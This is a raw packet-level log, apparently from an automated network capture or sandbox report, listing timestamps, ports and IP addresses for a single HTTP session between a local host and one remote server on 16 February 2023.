Feb 16, 2023 10:01:21.965986013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.966013908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.966038942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.966048002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.966065884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.966080904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.966092110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.966136932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.054028988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.054092884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.054240942 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.110738039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110797882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110831976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110862970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110896111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110929966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110953093 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.110960007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.110992908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111026049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111033916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111058950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111068010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111093044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111119032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111125946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111160994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111192942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111197948 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111226082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111279011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111305952 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111324072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111361027 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111370087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111417055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111422062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111464024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111514091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111526966 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111557961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111598969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111638069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111665010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111681938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111721992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111725092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111769915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111779928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111814022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111857891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111886978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111902952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111948013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.111963987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.111993074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112031937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112072945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112098932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112118006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112159967 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112160921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112205982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112222910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112248898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112292051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112323999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112335920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112381935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112391949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112427950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112492085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112529039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112559080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112575054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112618923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112624884 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112662077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112667084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112708092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112751007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112795115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112816095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112838030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112873077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112880945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112926006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.112932920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.112971067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.113015890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.113035917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.113061905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.113384962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142117023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142154932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142174006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142188072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142201900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142220020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142239094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142257929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142276049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142297029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142314911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142333031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142350912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142358065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142370939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142391920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142411947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142431021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142450094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142469883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142488003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142508030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142509937 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142528057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142548084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142565966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142575979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142586946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142606974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142621040 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142626047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142647028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142666101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142668962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142684937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.142718077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.142766953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.287887096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.287919044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.287940025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.287959099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.287977934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.287997007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288029909 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288124084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288161039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288181067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288201094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288220882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288239956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288249016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288260937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288280964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288300991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288307905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288321972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288341999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288360119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288372993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288372993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288378954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288398981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288415909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288434029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288434982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288455009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288475037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288475990 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288494110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288511992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288531065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288552999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288573980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288592100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288598061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288611889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288633108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288635015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288635015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288655043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288675070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288683891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288696051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288717031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288742065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288764000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288764954 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288783073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288803101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288821936 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288835049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288837910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288847923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288866997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288880110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288897991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288916111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288934946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288954020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288966894 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.288974047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.288995028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289002895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289014101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289036036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289045095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289057016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289062023 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289071083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289091110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289103985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289110899 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289110899 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289122105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289141893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289160967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289164066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289180040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289190054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289200068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.289230108 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.289275885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.290350914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.319647074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319696903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319731951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319766045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319798946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319822073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.319830894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319864988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319895029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319905996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.319924116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.319928885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319950104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.319962978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319996119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.319996119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320019960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320031881 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320043087 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320064068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320071936 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320096970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320100069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320127964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320159912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320173025 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320190907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320220947 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320221901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320255041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320257902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320281982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320288897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320306063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320322990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.320333958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.320359945 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.464520931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.464612007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.464673042 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.464711905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465287924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465318918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465338945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465361118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465379953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465406895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465425968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465445042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465466022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465485096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465504885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465526104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465545893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465565920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465584993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465604067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465624094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465642929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465653896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465663910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465683937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465703964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465723991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465743065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465747118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465764046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465783119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465785027 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465804100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465814114 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465825081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465846062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465866089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465866089 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465886116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465904951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465917110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465925932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465946913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465949059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465966940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.465974092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.465987921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466006994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466018915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466027021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466047049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466067076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466069937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466097116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466120958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466123104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466149092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466155052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466171980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466195107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466195107 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466221094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466243982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466247082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466275930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466300964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466319084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466340065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466348886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466360092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466384888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466423988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466448069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466449976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466474056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466476917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466510057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466516972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466548920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466552973 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466573954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466579914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466598988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466603041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:22.466624022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:22.466629028 CET	49698	80	192.168.2.4	23.106.124.133
